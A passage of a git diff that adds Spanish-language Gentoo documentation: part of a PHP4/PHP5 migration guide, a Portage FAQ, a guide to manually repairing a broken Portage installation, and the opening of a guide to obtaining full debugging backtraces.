+<i>emerge dev-php5/pecl-apc dev-php5/pecl-imagick</i>
+
+<comment>(emerger las librerías/aplicaciones PHP)</comment>
+<i>emerge PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>PHP4 y PHP5 en paralelo: escoger que binario cli/cgi va a
+usarse</title>
+<body>
+
+<p>
+Después de hacer el emerge, tendrás binarios para <c>cli</c> y/o
+<c>cgi</c> en <path>/usr/lib/php4/bin</path> y/o
+<path>/usr/lib/php5/bin</path>. Si has instalado ambos, PHP4 y PHP5,
+portage no podrá decidir por ti que versión se usará por defecto y
+establecerá el enlace simbólico a aquel que se haya instalado último
+en <path>/usr/bin</path>. Así que si instalaste por último PHP5, verás
+un enlace simbólico de <path>/usr/bin/php</path> a
+<path>/usr/lib/php5/bin/php</path>. De esta forma, un binario
+<c>cli</c> y/o un <c>cgi</c> además de <c>php-devel</c> (responsable
+de construir extensiones PHP usando <c>phpize</c> y <c>php-config</c>)
+debe ser enlazado simbólicamente (en <path>/usr/bin</path>), cosa que
+se puede hacer con mayor facilidad usando <c>php-select</c>, que forma
+parte de <c>app-admin/php-toolkit</c>.
+</p>
+
+<note>
+Los paquetes <c>dev-lang/php</c> dependen de
+<c>app-admin/php-toolkit</c> para que <c>php-select</c> esté
+disponible automáticamente después de emerger los nuevos paquetes de
+php.
+</note>
+
+<p>
+Suponiendo que hayas emergido tanto <c>=dev-lang/php-4*</c> como
+<c>=dev-lang/php-5*</c>, introduce los siguientes comandos
+<c>php-select</c> para ver que versiones de php están actualmente
+seleccionadas:
+</p>
+
+<pre caption="muestra las versiones actualmente seleccionadas de PHP">
+<comment>(para el cli)</comment>
+<i>php-select php</i>
+
+<comment>(para cgi)</comment>
+<i>php-select php-cgi</i>
+
+<comment>(para phpize, php-config)</comment>
+<i>php-select php-devel</i>
+</pre>
+
+<p>
+Deberías ver algo parecido a:
+</p>
+
+<pre caption="ejemplo de salida del comando php-select">
+# <i>php-select php</i>
+/usr/bin/php is set to /usr/lib/php5/bin/php
+</pre>
+
+<p>
+Que significa que la ruta por defecto al binario cli de PHP
+<path>/usr/bin/php</path> esta enlazada al binario PHP5
+<path>/usr/lib/php5/bin/php</path>. Así que los scripts que usen
+<path>/usr/bin/php</path> serán ejecutados por PHP5.
+</p>
+</body>
+</section>
+
+<section>
+<title>Usar php-select para cambiar la versión de PHP usada por
+defecto</title>
+<body>
+
+<p>
+Si no estás conforme con la configuración por defecto que has
+encontrado en el punto anterior, puedes usar <c>php-select</c> de
+nuevo para cambiar a la versión que tu quieras:
+</p>
+
+<pre caption="seleccionar la versión deseada">
+<comment>(para cli)</comment>
+<i>php-select php php4</i>
+
+<comment>(para cgi)</comment>
+<i>php-select php-cgi php5</i>
+
+<comment>(para phpize, php-config)</comment>
+<i>php-select php-devel php5</i>
+</pre>
+
+<note>
+Por favor teclea <c>php-select -h</c> para saber que es lo que
+<c>php-select</c> puede hacer.
+</note>
+
+<p>
+Comprueba los enlaces:
+</p>
+
+<pre caption="Comprobando enlaces">
+ # <i>stat /usr/bin/php /usr/bin/php-cgi /usr/bin/phpize /usr/bin/php-config | grep File</i>
+ File: `/usr/bin/php' -> `/usr/lib/php4/bin/php'
+ File: `/usr/bin/php-cgi' -> `/usr/lib/php5/bin/php-cgi'
+ File: `/usr/bin/phpize' -> `/usr/lib/php5/bin/phpize'
+ File: `/usr/bin/php-config' -> `/usr/lib/php5/bin/php-config'
+</pre>
+
+<note>
+Ten en cuenta que <c>php-select</c> solo cambia las versiones por
+defecto. Si tienes instalados tanto PHP4 como PHP5 cli/cgi siempre
+puedes usar rutas directas como por ejemplo
+<path>/usr/lib/php4/bin/php</path> y
+<path>/usr/lib/php5/bin/php</path> para ejecutar un script PHP con una
+versión específica. Puedes usar tanto los cgis de PHP4 y PHP5 en la
+misma instancia de Apache, pero no puedes usar dos módulos Apache PHP
+diferentes en una misma instancia Apache, échale un vistazo a <uri
+link="/proj/en/php/php4-php5-configuration.xml"> Guia de configuración
+PHP4 y PHP5</uri> para conocer los detalles.
+</note>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Migración de los archivos de configuración</title>
+<section>
+<body>
+
+<p>
+El paquete Gentoo PHP almacena la configuración en
+<path>/etc/php</path>, que contiene un subdirectorio para cada SAPI de
+cada versión de PHP:
+</p>
+
+<pre caption="lista de los directorios de configuración PHP">
+$ <i>ls -1 /etc/php</i>
+apache2-php4
+apache2-php5
+cli-php4
+cli-php5
+</pre>
+
+<p>
+Cada subdirectorio contiene su propio <path>php.ini</path>, como los
+paquetes antiguos.
+</p>
+</body>
+</section>
+
+<section>
+<title>Cambios en php.ini</title>
+<body>
+
+<p>
+Tendrías que usar <c>etc-update</c> o <c>dispatch-conf</c> para
+arreglar las diferencias entre tus opciones viejas y nuevas en
+<path>php.ini</path>. Dos directivas que debes comprobar son
+<c>include_path</c> y <c>extension_dir</c>.  Pero ojo,
+<c>extension_dir</c> es diferente para cada versión de PHP (¡también
+entre las versiones 5.0 y 5.1!).
+</p>
+
+<p>
+Ejemplo para PHP 5.1 en <path>/etc/php/apache2-php5/php.ini</path> y
+<path>/etc/php/cli-php5/php.ini</path>:
+</p>
+
+<pre caption="antigua configuración en php.ini">
+include_path = ".:/usr/lib/php"
+extension_dir = "/usr/lib/php/extensions/no-debug-non-zts-20050617/"
+</pre>
+
+<pre caption="nueva configuración en php.ini">
+include_path = ".:/usr/share/php"
+extension_dir = "/usr/lib/php5/lib/php/extensions/no-debug-non-zts-20050617/"
+</pre>
+
+<warn>
+Asegurate de usar <c>etc-update</c> o <c>dispatch-conf</c> para
+comprobar las configuraciones correctas de cada archivo.
+</warn>
+</body>
+</section>
+
+<section>
+<title>Cambios en la configuración de las extensiones PHP</title>
+<body>
+
+<p>
+El nuevo paquete PHP ya no almacena las directivas de configuración
+para las extensiones externas (compartidas) de PHP en
+<path>php.ini</path>. Estas directivas tienen su configuración en su
+archivo de configuración específico dentro de los directorios
+<path>/etc/php/*/ext</path>. Para activar/desactivar las extensiones
+compartidas, se usan enlaces simbólicos hacia
+<path>/etc/php/*/ext-active</path>. Si quieres activar una extensión,
+crea un enlace en <path>/etc/php/*/ext-active</path> que apunte hacia
+el correspondiente archivo <path>[EXTENSION].ini</path> en
+<path>/etc/php/*/ext/</path>. Si quieres deshabilitar una extensión,
+elimina el enlace simbólico correspondiente.
+</p>
+
+<p>
+Si tenías instalado anteriormente <c>dev-php/PECL-apc</c>, la
+configuración APC se guarda en tu <path>php.ini</path>. Si reemerges
+el nuevo paquete <c>dev-php5/pecl-apc</c>, la configuración por
+defecto para APC se almacenará en
+<path>/etc/php/*5/ext/apc.ini</path>.
+</p>
+
+<p>
+De esta forma, tienes que mover tus directivas de configuración de APC
+de <path>/etc/php/*5/php.ini</path> a
+<path>/etc/php/*5/ext/apc.ini</path> y crear un symlink desde
+<path>/etc/php/*5/ext-active/apc.ini</path> a
+<path>/etc/php/*5/ext/apc.ini</path>.
+</p>
+
+<note>
+Si instalaste PHP como módulo de Apache, asegurate de reiniciar Apache
+después de la instalación y configuración de PHP.
+</note>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configurar Apache para trabajar con PHP4 y PHP5</title>
+<section>
+<body>
+
+<p>
+Hay muchas formas de hacer trabajar a Apache con dos versiones de PHP
+en paralelo. La forma más simple es usar PHP4 y PHP5 como cgi binario,
+o usar PHP4 como cgi y PHP5 como módulo (o al revés).
+</p>
+
+<p>
+Hemos creado una <uri
+link="/proj/en/php/php4-php5-configuration.xml">Guía i de
+configuración PHP4 y PHP5</uri> que explica algunas de las posibles
+soluciones.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Soporte / Obteniendo Ayuda</title>
+<section>
+<body>
+
+<p>
+Si tienes problemas con los nuevos paquetes Gentoo PHP, puedes
+conseguir ayuda a través de los siguientes recursos:
+</p>
+
+<ul>
+  <li><uri
+  link="http://overlays.gentoo.org/proj/php/wiki/CommonQuestions">
+  Preguntas frecuentes</uri> sobre PHP en Gentoo</li>
+  <li><uri link="http://overlays.gentoo.org/proj/php/">Página de los
+  desarrolladores del PHP Overlay</uri></li>
+  <li>#gentoo-php en irc.freenode.net; éste es el canal de chat donde
+  los autores del nuevo esquema suelen estar. ¡Nos encantará verte
+  aquí!</li>
+  <li><uri link="http://forums.gentoo.org/">Foros Gentoo</uri> es un
+  sitio popular donde acudir en busca de ayuda. Hay un montón de
+  usuarios de Gentoo leyéndolos de forma simultánea, haciendo posible
+  que puedas obtener ayuda en un momento.</li>
+</ul>
+
+<p>
+Para detalles acerca de la implementación de los nuevos paquetes,
+puedes leer a <uri
+link="http://article.gmane.org/gmane.linux.gentoo.devel/30050">Stuarts
+enviando correos a gentoo-dev</uri>. Tambien puede encontrar
+interesante el <uri link="http://blog.stuartherbert.com/php/">
+Stuart's PHP Blog</uri>.
+</p>
+
+<p>
+En la <uri link="http://overlays.gentoo.org/proj/php/">Página de
+desarrollo</uri> puedes encontrar mucha documentación y ebuilds más
+recientes, que pueden ser movidos al árbol oficial de portage
+posteriormente.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/portage/doc/faq.xml b/xml/htdocs/proj/es/portage/doc/faq.xml
new file mode 100644
index 00000000..5a5ac8ec
--- /dev/null
+++ b/xml/htdocs/proj/es/portage/doc/faq.xml
@@ -0,0 +1,219 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/portage/doc/faq.xml,v 1.1 2010/08/26 18:28:05 nimiux Exp $ -->
+
+
+<guide lang="es">
+<title>Preguntas Frecuentemente Preguntadas (FAQ) de Portage</title>
+
+<author title="Autor">
+  <mail link="antarus@gentoo.org">Alec Warner</mail>
+</author>
+<author title="Colaborador">
+  <mail link="zmedico@gentoo.org">Zac Medico</mail>
+</author>
+<author title="GuideXML">
+  <mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux"/>
+</author>
+
+<abstract>
+FAQ: Preguntas Frecuentemente Preguntadas sobre Portage
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+
+<license/>
+
+<version>1.0</version>
+<date>2009-03-27</date>
+<chapter>
+<title>Preguntas Frecuentemente Preguntadas</title>
+
+<section>
+<title>¿Cómo puedo resolver los "bloqueos" entre paquetes?</title>
+<body>
+<p> Mire la <uri
+link="http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?full=1#blocked">
+Sección de paquetes bloqueados en el Manual de Gentoo</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Porqué emerge no actualiza todos los paquetes?</title>
+<body>
+
+<p>
+Por defecto, el gráfico de dependencias puede no incluir algunos
+paquetes. Por ejemplo, no incluirá los paquetes listados en la salida de
+<c>emerge --pretend --depclean</c>.Tampoco incluirá ningunas dependencias
+temporales entre ebuilds para los paquetes instalados o los paquetes
+binarios.Si desea incluir este tipo de dependencias, incluso aunque no sean
+estríctamente requeridas, utilice <c>--with-bdeps=y</c>. Puede definir
+<c>EMERGE_DEFAULT_OPTS="--with-bdeps=y"</c> en <path>/etc/make.conf</path>
+si quiere que esta opción esté activa por defecto. Si desea que un paquete
+específico sea actualizado en todo momento, puede usar
+<c>emerge --noreplace &lt;atom&gt;</c> para añadirlo al conjunto world.
+</p>
+<p>
+Después de ejecutar <c>emerge --deep --with-bdeps=y --update world</c>, es
+buena idea usar <c>emerge --pretend --depclean</c> para ver si hay algún
+paquete que se pudiera eliminar. Si este comando muestra un paquete que
+quisiera conservar, utilice <c>emerge --noreplace &lt;atom&gt;</c> para
+añadirlo al conjunto world.
+</p>
+<warn>
+Cuando use <c>emerge --depclean</c> para eliminar paquetes no deseados, es
+buena idea ejecutar <c>revdep-rebuild</c> (del paquete gentoolkit) a
+continuación.
+</warn>
+<note>
+Ejecute <c>man emerge</c> para ver la página del manual la página del
+manual, la cual documenta todas las opciones <c>emerge</c> options.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>
+¿Cómo puedo comprobar las dependencias inversas de un paquete para saber si
+puede ser desinstalado de forma segura?
+</title>
+<body>
+
+<p>
+Ejecute <c>emerge --depclean --pretend --verbose [atom]...</c> para ver si
+existe alguna dependencia inversa para los paquetes afectados.
+</p>
+<warn>
+Cuando use <c>emerge --depclean</c> para eliminar paquetes no deseados, es
+buena idea ejecutar <c>revdep-rebuild</c> (del paquete gentoolkit) a
+continuación.
+</warn>
+</body>
+</section>
+
+<section>
+<title>
+¿Puedo montar el árbol portage (/(usr/portage) a través de NFS?
+</title>
+<body>
+
+<p>
+Es posible compartir el árbol de portage (<path>/usr/portage</path>) sobre
+NFS de forma que <c>emerge --sync</c> únicamente necesita se ejecutado en
+un servidor NFS. Sin embargo, aunque los clientes NFS no necesiten ejecutar
+<c>emerge --sync</c>, deben ejecutar <c>emerge --metadata</c> cada vez que
+el árbol de portage es actualizado, de lo contrario los cálculos de sus
+dependencias podrían ser realizados de forma más lenta debido a que la
+caché de metadatos (localizada en <path>/var/cache/edb/dep</path>) haya
+quedado obsoleta.
+</p>
+<note>
+Los clientes NFS no necesitan ejecutar <c>emerge --metadata</c> si tienen
+el módulo metadata_overlay activado en <path>/etc/portage/modules</path>.
+La página del manual de portage (ejecute <c>man portage</c>) describe los
+pasos necesarios para activar esta característica.
+</note>
+<note>
+Con versiones de portage >=2.1.5_rc6 no es necesario ya ejecutar
+<c>emerge --metadata</c> a no ser que el usuario no haya activado
+FEATURES="metadata-transfer" en make.conf. Cuando se desactiva
+metadata-transfer, la caché de los metadatos del directorio
+<path>/usr/portage/metadata/cache/</path> se usará directamente.
+Ejecute <c>man make.conf</c> para aprender más sobre metadata-transfer.
+</note>
+<p>
+Si tiene problemas con la instalación de NFS, es importante que se asegure
+de que tiene los demonios de bloqueo apropiados tanto en las máquinas
+cliente NFS como en la máquina servidora NFS. Portage utiliza enlaces duros
+sobre NFS para bloquear ficheros. Si el demonio de bloqueo falla, Portage
+puede protestar sobre bloqueos fallidos u obsoletos. En
+<path>/usr/lib/portage/bin/clean_locks</path> se puede encontrar un guión
+para limpiar los ficheros de bloqueo antiguos.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>
+¿Porqué el conjunto @preserved-rebuild contiene paquetes que pueden haber
+sido ya reconstruidos?
+</title>
+<body>
+<p>
+Esto es un <uri link="http://bugs.gentoo.org/show_bug.cgi?id=230257">
+problema común</uri> que indica que el sistema de construcción para el
+ebuild en cuestión causa que el paquete enlace inapropiadamente a la
+anterior (conservada) versión de la librería, en lugar de a la nueva.
+Como una forma de sortear el problema, puede eliminar manualmente la
+antigua librería (como por ejemplo libreadline.so.5.2) y ejecutar
+<c>revdep-rebuild</c> para reconstruir los paquetes a con los cuales la
+librería está enlazada. Un listado de todas las librerías puede obtenerse
+con el comando command `<c>portageq list_preserved_libs /</c>`.
+</p>
+</body>
+</section>
+
+<section>
+<title>
+Cuando los paquetes se construyen en paralelo con la opción --jobs,
+¿Porqué no se instalan algunos paquetes inmediatamente después de que
+ha finalizado su construcción?. Estos se instalan depués de un largo
+periodo.
+</title>
+<body>
+<p>
+Como precaución, las acciones de instalación para los paquetes de sistema
+y sus dependencias profundas, se ejecutan sólo cuando no se están
+construyendo otros paquetes. Se necesita este comportamiento para evitar
+casos como
+<uri link="http://bugs.gentoo.org/show_bug.cgi?id=256616">la bug 256616
+(dependencias de sistema sin especificar)</uri> y
+<uri link="http://bugs.gentoo.org/show_bug.cgi?id=259954"> la bug 259954
+(dependencias de sistema no satisfechas temporalmente)</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>
+¿Porqué la salida de emerge --pretend no muestra el SLOT correcto para un
+paquete con USE=multislot activado?
+</title>
+<body>
+<p>
+Ya que las ebuilds que soportan USE=multislot violan reglas establecidas
+sobre "metadatos constantes", los valores SLOT en caché son distintos a
+los del valor de SLOT que se obtiene una vez el paquete ha sido instalado.
+No hay nada que portage pueda hacer salvo implementar una extensión como
+<uri link="http://bugs.gentoo.org/show_bug.cgi?id=174407">la bug #174407
+</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>
+¿Porqué portage-2.2_rc está enmascarado?
+</title>
+<body>
+<p>
+Portage 2.2 está enmascarado, debido a que tiene algunas bugs pendientes
+de resolución sobre las características de conjuntos de paquetes y
+preserve-libs. Mire <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=253802">la bug #253802</uri>
+para más detalles.
+</p>
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/portage/doc/manually-fixing-portage.xml b/xml/htdocs/proj/es/portage/doc/manually-fixing-portage.xml
new file mode 100644
index 00000000..83374212
--- /dev/null
+++ b/xml/htdocs/proj/es/portage/doc/manually-fixing-portage.xml
@@ -0,0 +1,192 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/portage/doc/manually-fixing-portage.xml,v 1.2 2010/08/20 01:33:55 nimiux Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/portage/doc/manually-fixing-portage.xml" lang="es">
+
+<title>Reparando Instalaciones Rotas de Portage Manualmente</title>
+
+<author>
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+<author title="Traductor">
+   <mail link="sebasmagri@gmail.com">Sebastián Magrí</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux"/>
+</author>
+
+<abstract>
+Este documento pretende ayudar a los usuarios a reparar manualmente
+una instalación rota de sys-apps/portage.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.3</version>
+<date>2007-05-31</date>
+
+<chapter>
+<title>Reparando Portage Manualmente</title>
+<section>
+<title>Propósito</title>
+<body>
+
+<p>
+Esta sección tiene por fin ser una guía para actualizar o arreglar
+manualmente su instalación de Portage en casos en los que no
+pueda correr <c>emerge sys-apps/portage</c>. Aunque no es un
+procedimiento difícil, aún debe hacerse con extremo cuidado, por favor
+siga los pasos listados con exactitud (pero aplique sentido común
+cuando sea necesario).
+</p>
+
+</body>
+</section>
+<section>
+<title>Obteniendo un tarball de Portage</title>
+<body>
+
+<p>
+Lo primero que debe hacer es obtener un tarball de una versión
+actualizada de Portage. En este documento usaremos
+<e>portage-2.1.8</e> como ejemplo (ya que es la versión estable al
+momento de edición del documento), por favor reemplácelo con una
+versión presente en el árbol Portage en la medida de lo posible.
+</p>
+
+<table>
+  <tr>
+    <th>Versión de Python</th>
+    <th>Versión de Portage</th>
+  </tr>
+  <tr>
+    <ti>&lt;= Python 2.5</ti>
+    <ti>
+      <uri
+      link="http://distfiles.gentoo.org/distfiles/portage-2.1.6.tar.bz2">
+      portage-2.1.6.tar.bz2</uri>
+    </ti>
+  </tr>
+  <tr>
+    <ti>&gt;= Python 2.6</ti>
+    <ti>
+      <uri
+      link="http://distfiles.gentoo.org/distfiles/portage-2.1.8.tar.bz2">
+      portage-2.1.8.tar.bz2</uri>
+    </ti>
+  </tr>
+</table>
+
+<warn>
+Si su versión instalada de Python reportada por <c>python -V</c> es
+menor que 2.6, entonces debe elegir una versión de Portage compatible
+con ésta. Si tienes por lo menos Python 2.6 entonces use
+<e>portage-2.1.8.tar.bz2</e>. Si tiene python 2.4 o 2.5 entonces
+use <e>portage-2.1.6.tar.bz2</e>.
+</warn>
+
+<p>
+Dependiendo de la razón exacta por la cual Portage haya dejado de
+trabajar, puede que aún sea posible usarlo para obtener el tarball,
+primero que nada trate de correr
+<c>emerge --fetchonly sys-apps/portage</c>, sólo si eso no funciona
+tendrá que obtener el tarball manualmente con:
+</p>
+
+<pre caption="Obteniendo el tarball de Portage con wget">
+# <i>wget -P /usr/portage/distfiles http://distfiles.gentoo.org/distfiles/portage-2.1.8.tar.bz2</i>
+</pre>
+
+<p>
+Después de ésto el tarball debería estar disponible como
+<path>/usr/portage/distfiles/portage-2.1.8.tar.bz2</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Reemplazando la versión instalada</title>
+<body>
+
+<p>
+El próximo paso es desempaquetar el tarball en una localización
+temporal, usando <path>/root/portage-recover</path> como ejemplo, los
+comandos serían:
+</p>
+
+<pre caption="Desempaquetando el tarball de Portage">
+# <i>cd /root</i>
+# <i>mkdir portage-recover</i>
+# <i>cd portage-recover</i>
+# <i>tar xfj /usr/portage/distfiles/portage-2.1.8.tar.bz2</i>
+</pre>
+
+<p>
+Una vez que haya hecho esto es solo cuestión de reemplazar los
+archivos de Python y Bash de su sistema con los del tarball (en la
+mayoría de los casos). Para hacer eso por favor ejecute:
+</p>
+
+<pre caption="Reemplazando los archivos instalados">
+# <i>cd /root/portage-recover/portage-2.1.8</i>
+# <i>rm -rf /usr/lib/portage/*</i>
+# <i>cp -R pym bin /usr/lib/portage/</i>
+</pre>
+
+<p>
+Si no está usando Gentoo en FreeBSD debería eliminar el guión envoltorio
+de sed, ya que éste no es necesario y se sabe que causa problemas con
+versiones antiguas de bash:
+</p>
+
+<pre caption="Eliminando el guión envoltorio de sed">
+# <i>rm -f /usr/lib/portage/bin/sed</i>
+</pre>
+
+<note>
+Si accidentalmente desinstaló Portage o perdió
+<path>/etc/make.globals</path> por otras razones, debería también
+copiar <path>cnf/make.globals</path> de nuevo en <path>/etc</path>, de
+otra manera Portage se podría comportar de manera extraña.
+</note>
+
+<note>
+Si la versión previa de Portage era menor que 2.1, debería ejecutar
+ahora <c>emerge --metadata</c> antes de continuar con el siguiente
+paso. Es necesario para convertir la metadata de los ebuilds al nuevo
+formato usado a partir de Portage 2.1. Está bien ejecutarlo incluso si
+no estás seguro de la versión previa de Portage.
+</note>
+
+<p>
+Ahora debería tener una instalación de Portage operativa de nuevo.
+Sin embargo, para asegurar la consistencia del sistema
+debería correr <c>emerge sys-apps/portage</c> de inmediato.
+</p>
+
+<p>
+Si recibe un mensaje de error como <e>command not found</e> al tratar
+de usar <c>emerge</c>, deberá recrear el enlace simbólico al mismo:
+</p>
+
+<pre caption="Recreando el enlace simbólico a emerge">
+# <i>ln -sf ../lib/portage/bin/emerge /usr/bin/emerge</i>
+</pre>
+
+<p>
+Si estos pasos no funcionaron, es muy probable que no sea un
+problema de la instalación de Portage sino de otra cosa fuera del
+alcance de este documento. Por favor revise la <uri
+link="/proj/en/portage/doc/common-problems.xml">Lista de Problemas
+Comunes</uri> (en inglés) y mire también en <uri
+link="http://bugs.gentoo.org">bugzilla</uri> si el problema ha sido
+reportado.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/qa/backtraces.xml b/xml/htdocs/proj/es/qa/backtraces.xml
new file mode 100644
index 00000000..a8a9f0d4
--- /dev/null
+++ b/xml/htdocs/proj/es/qa/backtraces.xml
@@ -0,0 +1,628 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/qa/backtraces.xml,v 1.1 2010/06/28 17:30:49 nimiux Exp $ -->
+
+
+<guide link="/proj/en/qa/backtraces.xml" lang="en">
+<title>Cómo obtener trazas íntegras en Gentoo</title>
+
+<author title="Autor">
+  <mail link="flameeyes@gentoo.org">Diego E. Pettenò</mail>
+</author>
+
+<author title="Información sobre la cadena de herramientas Hardened">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+
+<author title="Información sobre la cadena de herramientas Hardened y la arquitectura x86">
+  <mail link="kevquinn@gentoo.org">Kevin Quinn</mail>
+</author>
+
+<author title="Revisor">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+
+<abstract>
+Esta guía pretende ofrecer a los usuarios una explicación simple de porqué
+una instalación por defecto de Gentoo no ofrece unas trazas íntegras y cómo
+realizar ajustes para obtenerlas.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+
+<license/>
+
+<version>0.10</version>
+<date>2010-06-16</date>
+
+<chapter><!-- Introduction -->
+
+<title>Trazas en Gentoo</title>
+
+<section>
+<title>¿Qué son las trazas?</title>
+
+<body>
+
+<p>
+Una <e>traza</e>, también llamada bt, trace, o stack trace (traza de pila)
+es un informe legible por un humano de la pila de llamadas realizadas por un
+programa. Informa en qué punto de un  programa se encuentra y cómo se llegó
+a ese punto a través de todas las funciones hasta la función
+<path>main()</path> (por lo menos esta es la teoría). Las trazas son
+normalmente analizadas cuando acontecen condiciones de error como fallos de
+segmento o abortos en la ejecución. Para su análisis se usan depuradores
+como <c>gdb</c> (GNU debugger), que ayudan a encontrar la causa del error.
+</p>
+
+<p>
+Una traza íntegra, contiene no sólo los objetos compartidos (shared objects)
+en los que se generó la llamada, también el nombre de la función, el nombre
+del fichero y el la línea en la que se detuvo la ejecución. Desgraciadamente
+en un sistema optimizado para el rendimiento y el ahorro de espacio, las
+trazas no tienen ninguna utilidad y muestran únicamente los punteros a la
+pila y una serie de caracteres ?? en lugar del nombre de las funciones y su
+posición.
+</p>
+
+<p>
+Esta guía le mostrará cómo es posible obtener trazas útiles e íntegras en
+Gentoo usando características de Portage.
+</p>
+
+</body>
+</section>
+
+<section><!-- Compiler flags -->
+
+<title>Ajustes del compilador</title>
+
+<body>
+
+<p>
+Por defecto <c>gcc</c> no incluye información de depuración dentro de los
+objetos (librerías y programas) que construye, ya que ésto crearía objetos
+más grandes. También muchas optimizaciones interfieren en cómo la
+información de depuración es guardada. Por estas razones, la primera
+cuestión a tener en cuenta es que los ajustes CFLAGS estén preparados para
+generar información de depuración útil.
+</p>
+
+<p>
+El ajuste básico a añadir en este caso es <c>-g</c>. Ésto hace que el
+compilador incluya información extra en los objetos, como los nombres de
+fichero y los números de línea. Esto normalmente es suficiente para tener
+trazas básicas. Sin embargo el ajuste <c>-ggdb</c> añade más información. De
+hecho existe otro ajuste (<c>-g3</c>) pero su uso no está
+recomendado. Parece que rompe las interfaces binarias y puede llevar a algún
+error de ejecución inesperado. Por ejemplo <path>glibc</path> falla cuando
+se construye usando este ajuste. Si quiere ofrecer la mayor información
+posible, debe usar el ajuste <c>-ggdb</c>.
+</p>
+
+<pre caption="Ejemplo de CFLAGS con información de depuración">
+CFLAGS="-march=k8 -O2 -ggdb"
+CXXFLAGS="${CFLAGS}"
+</pre>
+
+<p>
+Altos niveles de optimización como <c>-O3</c> pueden causar que la traza sea
+menos fiable o incluso incorrecta. Generalmente hablando, <c>-O2</c> y
+<c>-Os</c> pueden usarse de forma segura para obtener una traza aproximada,
+bajando hasta la función llamada y el área del fichero fuente dónde se
+produjo el error de ejecución. Para trazas más precisas se puede usar
+<c>-O1</c>.
+</p>
+
+<note>
+El uso de <c>-O0</c> es sugerido a menudo cuando se intenta producir una
+traza completa. Desgraciadamente esto no funciona siempre bien con el
+software, ya que la desactivación de las optimizaciones cambia la
+implementación de las funciones en la librería GNU C (sys-libs/glibc), hasta
+el punto de que se pueden considerar dos librerías diferentes, una para
+construcciones optimizadas y otra para no optimizadas. También, algún
+software puede fallar a la hora de ser construido cuando se usa <c>-O0</c>,
+debido a los cambios en los ficheros de inclusión de cabeceras y la falta de
+características como la propagación constante en la eliminación de código
+muerto.
+</note>
+
+<p>
+Aviso para los usuarios de arquitecturas x86: Los usuarios de x86
+normalmente tienen <c>-fomit-frame-pointer</c> en su CFLAGS. La arquitectura
+x86 tiene un juego limitado de registros generales, y este ajuste puede
+hacer que esté disponible un nuevo registro que mejora el rendimiento. Sin
+embargo, esto tiene un coste: hace imposible a <c>gdb</c> "caminar por la
+pila" &#8212; en otras palabras: generar la traza de forma
+confiable. Elimine este ajuste de CFLAGS para construir algo más fácil de
+comprender para <c>gdb</c>. En otras plataformas no hay que preocuparse por
+esto; generalmente el ajuste <c>-fomit-frame-pointer</c> no está activado, o
+el código generado por <c>gcc</c> no confunde a <c>gdb</c> (en cuyo caso el
+ajuste está activado por el nivel de optimización <c>-O2</c>).
+</p>
+
+<p>
+Los usuarios de hardened tienen otras cosas de las que preocuparse. Las <uri
+link="http://www.gentoo.org/proj/en/hardened/hardenedfaq.xml#hardeneddebug">
+Preguntas de Uso Frecuente de Gentoo Hardened</uri> ofrecen consejos y
+trucos extra que necesitará saber.
+</p>
+
+</body>
+</section>
+
+<section><!-- Stripping -->
+
+<title>Recortando (haciendo stripping)</title>
+
+<body>
+<p>
+Simplemente cambiando sus CFLAGS y haciendo emerge world de nuevo no le dará
+trazas íntegras, ya que tiene que solventar el problema del recorte. Por
+defecto Portage recorta los binarios que genera. En otras palabras, elimina
+las secciones innecesarias para el funcionamiento reduciendo el tamaño de
+los ficheros instalados. Esto es bueno para el usuario medio, el cual no
+necesita generar trazas, sin embargo, elimina toda la información de
+depuración generada por los ajustes <c>-g*</c> al igual que las tablas de
+símbolos que son necesarias para encontrar la información base para mostrar
+las trazas de una forma legible por los humanos.
+</p>
+
+<p>
+Hay dos formas de hacer que el recorte no afecte a la depuración y a la
+generación de trazas. En primer lugar, se debe indicar a Portage que no
+recorte binarios de ningún modo, añadiendo <e>nostrip</e> a FEATURES. Esto
+dejará instalados los ficheros exactamante donde <c>gcc</c> los creó, con
+toda la información de depuración y las tablas de símbolos, lo cual
+incrementa el espacio en disco ocupado por los ejecutables y las
+librerías. Para evitar este problema, en la versión 2.0.54-r1 uy en las
+series 2.1 de Portage, es posible usar la FEATURE <e>splitdebug</e> en su
+lugar.
